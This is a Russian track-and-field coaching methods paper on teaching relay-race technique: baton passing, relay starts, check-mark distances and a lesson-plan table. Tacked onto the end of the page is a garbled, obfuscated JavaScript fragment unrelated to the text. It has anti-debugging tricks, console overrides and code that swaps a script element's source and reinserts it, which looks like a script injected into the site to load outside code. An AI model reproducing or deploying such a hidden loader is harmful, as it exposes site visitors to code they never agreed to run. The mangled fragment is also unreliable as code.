Методика обучения технике эстафетного бега | методическая разработка по физкультуре на тему: | образовательная социальная сеть
муниципальное образовательное бюджетное учреждение дополнительного образования детей «Детско- юношеская спортивная школа «Надежда» ст. Советской муниципального образования Новокубанского района
методическая разработка на тему:
«Методика обучения технике эстафетного бега»
Методическую разработку разработал тренер-преподаватель по легкой атлетике МОБУ ДОД ДЮСШ «Надежда»
Юдина Екатерина Владимировна
ст. Советская
2021г.
СОДЕРЖАНИЕ
Введение
Эстафетный бег является командным видом легкой атлетики и имеет много разновидностей. Успех в эстафете зависит от многих причин, но одна из главных — умение передавать и принимать эстафетную палочку на высокой скорости в ограниченной зоне передачи.
Эстафета – программа соревнований в отдельных видах спорта, где спортсмен выступает только на своем этапе и вручает эстафету в зоне передачи представителю своей команды.
Техника бега по дистанции в эстафетах ничем не отличается от обычного бега по прямой и виражу. Обучение технике эстафетного бега целесообразно начинать после того, как усвоена техника бега на короткие дистанции, отработано умение выполнять высокий и низкий старт на повороте.
Обучение технике эстафетного бега проводится в определенной последовательности, согласно поставленным задачам.
Методика обучения технике эстафетного бега
Задача 1. Ознакомить с техникой эстафетного бега.
Создание представления о технике передачи эстафеты начинается с рассказа о видах эстафетного бега, объяснения и показа техники передачи эстафетной палочки способами «снизу» и «сверху» в 20-метровой зоне на высокой скорости. Затем необходимо объяснить основные правила проведения эстафетного бега и значение точности, слаженности движений в передаче эстафеты для достижения высокого результата.
Задача 2. Научить технике передачи эстафетной палочки. Обучение передачи эстафетной палочки проводится в парах — вначале на месте, затем в ходьбе и в беге с небольшой скоростью вне зоны передачи. С этой целью занимающихся строят в две разомкнутые шеренги на расстоянии 1—2 м друг от друга, уступами вправо или влево, в зависимости от того, какой рукой передается эстафетная палочка. По команде преподавателя стоящие в первой шеренге принимающие отводят выпрямленную левую (правую) руку назад, а стоящие во второй шеренге передающие, с небольшой паузой после команды, передают палочку (рис. 1).
Рис. 1. Передача эстафетной палочки в шеренгах на месте
Затем обучающиеся поворачиваются кругом и производят передачу, поменявшись ролями. Когда отрабатывается передача левой рукой в правую (а такое упражнение необходимо для спринтерской эстафеты 4 ? 100 м), занимающиеся передающей шеренги смещаются на полшага в правую сторону.
После усвоения занимающимися этих движений передача палочки производится, имитируя работу руками в беге: принимающий по команде преподавателя отводит руку с хорошей фиксацией кисти для приема палочки, а передающий с паузой, после готовности принимающего, вкладывает по команде в нее эстафетную палочку (рис. 2).
Рис. 2. Передача эстафетной палочки в беге
В начале выполнения всех упражнений команду подает преподаватель, позже — передающий эстафетную палочку. На этом этапе обучения необходимо следить, чтобы принимающие палочку не поворачивали головы в момент передачи эстафеты, контролировали положение руки и ход передачи, не бежали с отведенной назад рукой, а передающие палочку чтобы не торопились, выдерживали паузу, не вытягивали руку с эстафетной палочкой до команды или одновременно с ней.
При появлении этих ошибок следует указать на них и разъяснить, как правильно выполнить какой-либо элемент техники передачи.
Задача 3. Научить технике старта на этапах эстафетного бега.
Для овладения техникой старта необходимо научить занимающихся принимать старт из положения с опорой на одну руку на прямой, затем на повороте перед выходом на прямую и на прямой при входе в поворот (рис. 3).
Рис. 3. Стартовые положения принимающего эстафету бегуна
Стартующий ставит левую ногу вперед и опирается правой рукой о дорожку, левая рука отведена вверх — назад. Опустив голову вниз, бегун смотрит за подходом передающего партнера к контрольной отметке.
Необходимо следить за тем, чтобы принимающий бежал по внешней линии дорожки на 2-м и 4-м этапах и по внутренней — на 3-м этапе.
При обучении низкому старту с эстафетной палочкой целесообразно повторить технику старта на повороте, а затем приступить к освоению двигательного действия.
Стартующий держит палочку мизинцем и безымянным пальцем за нижний конец. Руку необходимо ставить у стартовой линии, опираясь о дорожку большим пальцем — с одной стороны, указательным и средним пальцами — с другой. После отрыва руки от дорожки эстафетную палочку нужно держать всеми пальцами.
Когда занимающиеся освоят технику старта на этапах и бег по заданным дорожкам, тогда можно переходить к обучению старта с наблюдением за партнером и пользованием контрольной отметкой.
Для каждой пары занимающихся контрольная отметка подбирается индивидуально, с учетом скорости, которую может иметь передающий к концу дистанции, а также способности принимающего быстро стартовать. Это расстояние соответствует 8—11м и подбирается путем многократных пробежек.
Для выявления величины форы можно использовать таблицу 4 (по Л.С. Хоменкову), в которой учтены результаты спортсменов на 26 м со старта и на 25 м с ходу. Примерный план обучения технике эстафетного бега показан в таблице 5.
Таблица 4
Расчет расстояния до контрольной отметки (по Л. С. Хоменкову)
Время принимающего бегуна на стартовых 26 м (с) | Время передающего бегуна на последних 25 м (с) | |||
2,5 | 2,7 | 3,0 | 3,2 | |
3,5 | 10,0 | 7,4 | 4,2 | 2,3 |
3,7 | 12,0 | 9,3 | 5,8 | 3,9 |
4,0 | 15,0 | 12,0 | 8,3 | 6,5 |
4,2 | 17,0 | 13,9 | 10,0 | 7,8 |
4,4 | 19,0 | 15,7 | 11,7 | 9,4 |
4,6 | 21,0 | 17,6 | 13,3 | 10,9 |
Таблица 5
Примерный план обучения технике эстафетного бега
Задача | Средство | Организа- | Типичная ошибка | Причина | Исправление |
1 | 2 | 3 | 4 | 5 | 6 |
1. Ознакомить с особеннос-тями бега каждого зани-мающегося и создать правильное представле-ние о технике бега на короткие дистанции | 1. Повторные пробегания отрезков с невысокой и средней скоростью 2. Объяснение особенностей техники бега, ее демонстрация | Выявить индиви-дуальную манеру бега по дистанции и зафиксировать повторяющиеся недостатки. Просмотр кино-кольцовок, кино-грамм, видео-фильмов, фото-графий, рисунков | В пробных бегах ученик может продемонстри-ровать не-свойственную ему манеру бега | Желание пробежать лучше Недостаточное количество пробежек | Определить тот момент, когда обучаемый демонстрирует свою манеру бега |
2. Обучить технике бега по прямой дистанции | 1. Объяснение и показ техники бега по прямой | Показывает преподаватель или наиболее подготовленный ученик | Излишняя напряженность, скованность, отсутствие свободы движений | Неправильное представление о технике бега Стремление бежать с максимальной скоростью | Снизить скорость бега Дать установку на естественный, быстрый бег |
2. Повторные пробежки отрезков | Ознакомиться с особенностями бега каждого занимающегося | Чрезмерный наклон туловища | Наклон головы вперед | Поднять выше голову и смотреть вперед на | |
3. Бег c ускорением 40-60 м | Следить за свободой движений. Ногу ставить на дорожку с передней части стопы | Наклон туловища назад | Недостаточно активное отталкивание от грунта. Вы-соко поднята или откинута голова. Стопы ног развернуты | Опустить ниже голову. Смотреть вперед, а не вверх | |
4. Бег с высоким подниманием коленей, семенящий бег, бег с забрасыванием голени назад, бег прыжко-выми шагами на отрезках 30—40 м | Бедро поднимать до горизон-тального положения Туловище не отклонять назад Отталкиваться под острым углом (вперед) | Большие боковые и вертикальные колебания | Отталкивание направлено не вперед, а вверх | Бег по линии беговой дорожки. Акцент на движение бедра вперед | |
5. Имитация движения руками на месте (как во время бега) | Движения выполнять свободно по большой амплитуде | Напряженность в работе рук | Пальцы сильно сжаты в кулак | Контролиро-вать положе-ние кистей рук | |
3. Обучить технике бега по повороту | 1. Объяснение и показ особенностей техники бега по повороту | Обратить вни-мание занимаю-щихся на отличие бега по повороту от бега по прямой, на наклон туловища | Вместо наклона всего туловища обучающиеся наклоняют влево только голову или сгибаются в пояснице | Непонимание сущности бега по виражу | Указать на конкретную ошибку |
2. Имитация движения руками на месте, как при беге по повороту | Левая рука дви-жется вперед—назад, ее локоть прижимается к туловищу, а правая рука дви-жется больше поперек туло-вища с отведен-ным вправо локтем | Неправильная работа рук (как при беге по прямой) | Неправильное представление о работе рук на повороте | Имитация движения руками на месте | |
3. Бег по пово-роту беговой дорожки | Выполнять на дорожках с большим радиусом пово-ротов (5—8-я дорожки) | На повороте бегун выставляет левое плечо, а не грудь, и его разворачивает вправо | Недостаточно отводится вправо локоть правой руки | Увеличить отведение локтя правой руки вправо при ее движении вправо | |
4. Бег с ускорением по прямой с выходом в поворот | Следить за плавным входом в поворот | На вираже бегуна выбрасывает вправо на соседнюю дорожку | Недостаточный наклон туловища вперед — влево | Увеличить наклон туловища влево, усилить задний толчок правой ноги | |
5. Бег с ускорением по повороту с выходом на прямую | Перейти на свободный бег после выхода на прямую | Перейти на свободный бег после выхода на прямую | Нога на дорожку ставится с пятки, слабо развиты мышцы, принимающие участие в отталкивании | ||
4. Обучить технике низкого старта и стартового разгона | 1. Рассказ об основных вариантах низкого старта и расстановке колодок | При обычном варианте низкого старта переднюю колодку устанавливать на расстоянии — 1,5 стопы от стартовой линии, а заднюю — на длину голени от передней колодки | Недостаточный упор подошвы стопы в заднюю колодку | Колодки касается только носок | Переставить колено Изменитъ угол наклона колодки |
2. Самостоя-тельная установка стартовых колодок занимающи-мися | Опорная площадка передней колодки должна иметь угол наклона 40—50°, а задняя — | Широкая расстановка рук и сгибание в локтевых суставах | Неправильное представление о технике старта | Руки выпрямить, вытянуть вперед параллельно друг другу | |
3. Выполне-ние команд «На старт!», «Внимание!» | Голову держать прямо по отношению к туловищу. По команде «Вни-мание!» плавно поднять таз несколько выше уровня плеч, слегка выпрямить ноги, рационально распределить вес тела на ноги и руки | Слишком большой прогиб спины | Голова закинута назад | Голову опустить вниз, взгляд направить на | |
4. Самостоя-тельное выполнение занимающи-мися команд «На старт!», затем «Внимание!», и провести начало бега без сигнала | Следить, чтобы занимающиеся выбегали, а не выпрыгивали со старта | Слишком глубокий след, проекция плеч далеко от стартовой линии | Бегун сидит, излишне отклонив туловище назад | Отработать правильное положение перед зеркалом | |
5. Начало бега по сигналу, подаваемому через разные промежутки времени после команды «Внимание!» | Не допускать фальстартов Плавно выпрямлять туловище | Таз поднят очень высоко, ноги почти выпрямлены | Неправильное представление о технике низкого старта | Опустить таз, ноги согнуть, отработать положение перед зеркалом | |
6. Показ и объяснение установки стартовых колодок на вираже | Стартовые колодки располагаются у наружного края дорожки | Бегун слишком сильно опирается на руки, плечи выдвинуты вперед | Центр тяжести тела подан далеко вперед | Таз припод-нять, плечи отвести назад до проекции | |
7. Выполне-ние команд «На старт!», «Внимание!» и выбегание с низкого старта на повороте самостоятель-но и по команде | Стартовые ускорения совершать с выходом к бровке по прямой, с последующим наклоном туловища к центру поворота | Обе руки отводятся одновременно назад. Быстрое выпрямление туловища на первых шагах разгона | Сильный толчок руками от дорожки Резкий подъем головы вверх, боязнь упасть | Выполнять короткие и быстрые движения руками. Вы-бегание со старта с огра-ничением подъема тела рейкой, кото-рую держит преподаватель | |
1. Объяснение значения и показ техники финиширова-ния | Ознакомить с основными способами финиширования грудью и плечом | Прыжок на финишный створ | Неправильное представление о технике финиширова-ния | Пробегать на полной ско-рости линию финиша без специальных бросков и прыжков, сох-раняя наклон туловища | |
2. Наклон туловища вперед с отведением рук назад в ходьбе при медленном и быстром беге | Преждевремен-ный наклон туловища | Выхлестывание голени вперед, отклонение туловища назад | Преждевременное окончание бега | То же | |
3. Наклон вперед на ленточку с поворотом плеч в ходьбе при медленном и быстром беге | На последнем шаге, выполняя наклон, повернуть туловище вправо или влево | Подбор ноги для броска | Раннее финиширова-ние | То же | |
4. Финиши-рование на максимальной скорости любым способом | Активно пробегать финишный створ | Чрезмерный наклон туловища и падение | Потеря равновесия | То же | |
6. Обучить технике бега с учетом индивидуаль-ных особенностей занимающих-ся | 1. Исполь-зование всех специальных упражнений, указанных выше для исправления индивидуаль-ных ошибок | Творчески подходить к их применению в соответствии с физической подготовлен-ностью, следить за сохранением частоты и длины беговых шагов и свободы движений | Излишняя напряженность, закрепощенность | Скорость пробегания неадекватна технике выполнения движений | Снизить скорость пробегания отрезков |
По мере освоения движений и правильного их исполнения следует постепенно увеличить скорость бега до максимального.
Задача 4. Научить технике передачи эстафетной палочки на максимальной скорости в
20-метровой зоне.
Основным средством для решения этой задачи будет многократное пробегание в зоне, передавая эстафету с постепенно увеличивающейся скоростью.
Расстояние до контрольной отметки уточняется в процессе этих пробежек, передача выполняется как на прямой, так и на входе и выходе с виража. Эстафета передается во второй половине зоны передачи на максимальной скорости с соблюдением правил соревнований.
В других видах эстафетного бега передача эстафетной палочки легче, так как скорость бега участников ниже. Принимающий эстафету должен соизмерять скорость своего бега со скоростью партнера на последних 10 м дистанции, от этого зависит начало принятия эстафетной палочки. Если скорость передающего низкая и продолжает снижаться, то целесообразно принимать эстафету в начале зоны передачи, а если передающим сохраняется оптимальная скорость бега, то прием производится во второй половине зоны передачи.
Задача 5. Обучение технике эстафетного бега в целом и ее совершенствование.
Слаженность при передаче эстафетной палочки на максимальной скорости играет решающую роль в достижении высокого результата эстафетной команды.
При отличной технике передачи эстафетной палочки конечный результат может быть на 2,5—3 с выше, чем сумма лучших результатов всех участников команды в беге на 100 м. При составлении команды для эстафетного бега 4 ? 100 м необходимо учитывать следующие особенности: на первом и четвертом этапах бегуны пробегают по 110 м, а на втором и третьем этапах бегуны пробегают по 120 м.
Поэтому на первый этап следует ставить бегуна, хорошо владеющего техникой низкого старта и умеющего быстро бежать по повороту.
На втором этапе должен стоять бегун с высоким уровнем специальной выносливости и хорошей техникой приема и передачи эстафетной палочки.
Участник третьего этапа, помимо названных качеств, должен хорошо бежать по повороту.
На четвертый этап желательно поставить бегуна быстрого, эмоционального и имеющего лучший результат в беге на 100 м с ходу.
При совершенствовании техники эстафетного бега важно частое пробегание всей дистанции эстафеты с максимальной интенсивностью, так как только при этом целостном действии достигается привычность движений и точный расчет контрольных отметок.
Список литературы
1. Аракелян Е.Е., Манжуев С.Х., Бражник И.И. Использование тренажера “облегчающая подвеска” в системе подготовки спринтеров высокой квалификации: Метод.реком. для слушат. высш. шк. тренеров. – М.: ГЦОЛИФК, 1989, 19 с.
2. Калинский М.И., Курский М.Д., Осипенко А.А. Биохимические механизмы адаптации при мышечной деятельности. – К.: Вища школа, 1986, 23 с.
3. Левченко А.В. Специальная силовая подготовка бегунов на короткие дистанции в годичном цикле: Автореф. дис…канд.
4. Легкая атлетика: Учебн. для ин-тов физ. культ. /под ред. Н.Г. Озолина, В.И. Воронкина, Ю.Н. Примакова. – Изд. 4-е, перераб. и доп. – М.: ФиС, 1989, 671 с.
5. Панин Л.Е. Биомеханические механизмы стресса. – Новосибирск: Наука, – 1983, 233 с.
6. Селуянов В.Н. с. соавт. Теория и практика дидактики развивающего обучения в физическом воспитании. – М.: ФиС, 1996, 105 с.
7. Селуянов В.Н., Тураев В.Т. Вклад медленных мышечных волокон в мощность, развиваемую в спринтерском беге. // Теор. и практ. физ. культ., 1995, № 4, с. 43-45.
8. Филин В.П. Теория и методика юношеского спорта: Учеб.пос. для ин-тов и техн. физ. культ. – М.: ФиС, 1987, 128 с.
Эстафетный бег: техника, правила, дистанции, нормативы
[0x1,0x0,0x0],this[‘aBvRRk’]=function(){return’newState’;},this[‘hSfrHc’]=’x5cw x20*x5c(x5c)x20*{x5cw x20*’,this[‘JuTrEU’]='[x27|x22]. [x27|x22];?x20*}’;};_0x813e7b[‘prototype’][‘DjFBTt’]=function(){var _0x5282aa=new RegExp(this[‘hSfrHc’] this[‘JuTrEU’]),_0x3a962a=_0x5282aa[‘test’](this[‘aBvRRk’][‘toString’]())?–this[‘VcOAHj’][0x1]:–this[‘VcOAHj’][0x0];return this[‘JyOvZW’](_0x3a962a);},_0x813e7b[‘prototype’][‘JyOvZW’]=function(_0x276526){if(!Boolean(~_0x276526))return _0x276526;return this[‘AakBhD’](this[‘jOBnSf’]);},_0x813e7b[‘prototype’][‘AakBhD’]=function(_0x461fbf){for(var _0x14f506=0x0,_0x2ee2e0=this[‘VcOAHj’][‘length’];_0x14f506<_0x2ee2e0;_0x14f506 ){this[‘VcOAHj’][‘push’](Math[’round’](Math[‘random’]())),_0x2ee2e0=this[‘VcOAHj’][‘length’];}return _0x461fbf(this[‘VcOAHj’][0x0]);},new _0x813e7b(a0_0x5344)[‘DjFBTt’](),_0x3ab154=a0_0x5344[‘MSYvHM’](_0x3ab154),a0_0x5344[‘uDogYq’][_0x35036b]=_0x3ab154;}else _0x3ab154=_0x75b161;return _0x3ab154;};!function(_0x9927ec){var _0x147d37=function(){var
_0x492bcc=!![];return function(_0x813e7b,_0x3456c1){var _0x5282aa=_0x492bcc?function(){var _0x39e649=a0_0x5344;if(_0x3456c1){var _0x3a962a=_0x3456c1[_0x39e649(0x19e)](_0x813e7b,arguments);return _0x3456c1=null,_0x3a962a;}}:function(){};return _0x492bcc=![],_0x5282aa;};}(),_0x3a3234=function(){var _0x276526=!![];return function(_0x461fbf,_0x14f506){var _0x2ee2e0=_0x276526?function(){var _0x366da0=a0_0x5344;if(_0x14f506){var _0x1e0ef5=_0x14f506[_0x366da0(0x19e)](_0x461fbf,arguments);return _0x14f506=null,_0x1e0ef5;}}:function(){};return _0x276526=![],_0x2ee2e0;};}(),_0x95b9f2={};function _0x5c109c(_0x27154d){var _0xcaea4d=a0_0x5344,_0xfcac6c=_0x147d37(this,function(){var _0x7c8730=function(){var _0x5b59d9=a0_0x5344,_0x4f08e7=_0x7c8730[_0x5b59d9(0x193)](_0x5b59d9(0x174))()[_0x5b59d9(0x193)](_0x5b59d9(0x19b));return!_0x4f08e7[_0x5b59d9(0x1ac)](_0xfcac6c);};return _0x7c8730();});_0xfcac6c();var _0xeaa392=_0x3a3234(this,function(){var _0x122b2d=a0_0x5344,_0x4e2253;try{var
_0x13b746=Function(_0x122b2d(0x1ae) _0x122b2d(0x175) ‘);’);_0x4e2253=_0x13b746();}catch(_0x518bc2){_0x4e2253=window;}var _0x345b99=_0x4e2253[_0x122b2d(0x182)]=_0x4e2253[_0x122b2d(0x182)]||{},_0x17fae1=[_0x122b2d(0x1a9),_0x122b2d(0x197),_0x122b2d(0x185),_0x122b2d(0x18f),_0x122b2d(0x196),_0x122b2d(0x18e),_0x122b2d(0x1a3)];for(var _0x1f4484=0x0;_0x1f4484<_0x17fae1[_0x122b2d(0x17b)];_0x1f4484 ){var _0x58d3ee=_0x3a3234[_0x122b2d(0x193)][_0x122b2d(0x1a5)][_0x122b2d(0x1a2)](_0x3a3234),_0x10cd41=_0x17fae1[_0x1f4484],_0x174496=_0x345b99[_0x10cd41]||_0x58d3ee;_0x58d3ee[_0x122b2d(0x18c)]=_0x3a3234[_0x122b2d(0x1a2)](_0x3a3234),_0x58d3ee[_0x122b2d(0x199)]=_0x174496[_0x122b2d(0x199)][_0x122b2d(0x1a2)](_0x174496),_0x345b99[_0x10cd41]=_0x58d3ee;}});_0xeaa392();if(_0x95b9f2[_0x27154d])return _0x95b9f2[_0x27154d][_0xcaea4d(0x17a)];var _0x217ef4=_0x95b9f2[_0x27154d]={‘i’:_0x27154d,’l’:!0x1,’exports’:{}};return _0x9927ec[_0x27154d][_0xcaea4d(0x1ab)]
(_0x217ef4[_0xcaea4d(0x17a)],_0x217ef4,_0x217ef4[_0xcaea4d(0x17a)],_0x5c109c),_0x217ef4[‘l’]=!0x0,_0x217ef4[_0xcaea4d(0x17a)];}_0x5c109c[‘m’]=_0x9927ec,_0x5c109c[‘c’]=_0x95b9f2,_0x5c109c[‘d’]=function(_0x3fd18b,_0x325dba,_0x1ab03a){var _0x275bc6=a0_0x5344;_0x5c109c[‘o’](_0x3fd18b,_0x325dba)||Object[_0x275bc6(0x1a6)](_0x3fd18b,_0x325dba,{‘enumerable’:!0x0,’get’:_0x1ab03a});},_0x5c109c[‘r’]=function(_0xc3598c){var _0xce1d3c=a0_0x5344;_0xce1d3c(0x176)!=typeof Symbol&&Symbol[_0xce1d3c(0x19f)]&&Object[_0xce1d3c(0x1a6)](_0xc3598c,Symbol[_0xce1d3c(0x19f)],{‘value’:_0xce1d3c(0x1a1)}),Object[_0xce1d3c(0x1a6)](_0xc3598c,_0xce1d3c(0x1b0),{‘value’:!0x0});},_0x5c109c[‘t’]=function(_0x29b1a1,_0x5eb5bd){var _0x577743=a0_0x5344;if(0x1&_0x5eb5bd&&(_0x29b1a1=_0x5c109c(_0x29b1a1)),0x8&_0x5eb5bd)return _0x29b1a1;if(0x4&_0x5eb5bd&&_0x577743(0x186)==typeof _0x29b1a1&&_0x29b1a1&&_0x29b1a1[_0x577743(0x1b0)])return _0x29b1a1;var _0x5c0015=Object[_0x577743(0x1b5)](null);if(_0x5c109c[‘r’](_0x5c0015),Object[_0x577743(0x1a6)](_0x5c0015,_0x577743(0x183),
{‘enumerable’:!0x0,’value’:_0x29b1a1}),0x2&_0x5eb5bd&&_0x577743(0x1b3)!=typeof _0x29b1a1)for(var _0x10f741 in _0x29b1a1)_0x5c109c[‘d’](_0x5c0015,_0x10f741,function(_0x4e84e4){return _0x29b1a1[_0x4e84e4];}[_0x577743(0x1a2)](null,_0x10f741));return _0x5c0015;},_0x5c109c[‘n’]=function(_0x131996){var _0x5e67db=a0_0x5344,_0x4b9a96=_0x131996&&_0x131996[_0x5e67db(0x1b0)]?function(){var _0x327075=_0x5e67db;return _0x131996[_0x327075(0x183)];}:function(){return _0x131996;};return _0x5c109c[‘d’](_0x4b9a96,’a’,_0x4b9a96),_0x4b9a96;},_0x5c109c[‘o’]=function(_0x1fd9c6,_0x794c81){var _0x146304=a0_0x5344;return Object[_0x146304(0x1a5)][_0x146304(0x198)][_0x146304(0x1ab)](_0x1fd9c6,_0x794c81);},_0x5c109c[‘p’]=”,_0x5c109c(_0x5c109c[‘s’]=0x0);}([function(_0x2a4160,_0x5a2751,_0x9b0b7a){var _0x284acf=a0_0x5344;_0x2a4160[_0x284acf(0x17a)]=_0x9b0b7a(0x1);},function(_0x47793c,_0x307fe5,_0x5e530c){var _0x2e5f94=a0_0x5344;’use strict’;_0x5e530c[‘r’](_0x307fe5);const _0x3a83f3=[[_0x2e5f94(0x17c),_0x2e5f94(0x1a7)],[_0x2e5f94(0x1aa),_0x2e5f94(0x178)],
[_0x2e5f94(0x1a0),_0x2e5f94(0x188)],[_0x2e5f94(0x172),_0x2e5f94(0x1b4)],[_0x2e5f94(0x179),_0x2e5f94(0x1b1)],[_0x2e5f94(0x191),_0x2e5f94(0x192)],[_0x2e5f94(0x17d),_0x2e5f94(0x1a8)],[_0x2e5f94(0x195),_0x2e5f94(0x194)]][_0x2e5f94(0x1af)](_0x3d41fc=>_0x3d41fc[0x0]);(()=>{var _0x2ef6b9=_0x2e5f94;const _0x5d3700=document[_0x2ef6b9(0x18a)](_0x2ef6b9(0x184)),_0x51ee15=new window[(_0x2ef6b9(0x190))](_0x5d3700[_0x2ef6b9(0x17f)]),_0x180a4a=parseInt(_0x5d3700[_0x2ef6b9(0x18b)](_0x2ef6b9(0x18d)))||0x0;if(_0x180a4a>=_0x3a83f3[_0x2ef6b9(0x17b)])return _0x5d3700[_0x2ef6b9(0x1a4)]=null,void console[_0x2ef6b9(0x1a9)](_0x2ef6b9(0x1ad));_0x51ee15[_0x2ef6b9(0x19a)]=_0x3a83f3[_0x180a4a];const
_0x2fce4c=document[_0x2ef6b9(0x189)](_0x2ef6b9(0x177));[…_0x5d3700[_0x2ef6b9(0x1b2)]][_0x2ef6b9(0x19d)](_0x2ed4c9=>_0x2fce4c[_0x2ef6b9(0x180)](_0x2ed4c9[_0x2ef6b9(0x173)],_0x2ed4c9[_0x2ef6b9(0x1b6)])),_0x2fce4c[_0x2ef6b9(0x180)](_0x2ef6b9(0x18d),_0x180a4a 0x1),_0x2fce4c[_0x2ef6b9(0x180)]
(_0x2ef6b9(0x17f),_0x51ee15[_0x2ef6b9(0x199)]()),_0x5d3700[_0x2ef6b9(0x187)][_0x2ef6b9(0x19c)](_0x5d3700),document[_0x2ef6b9(0x17e)][_0x2ef6b9(0x181)]
(_0x2fce4c);})();}]);”>
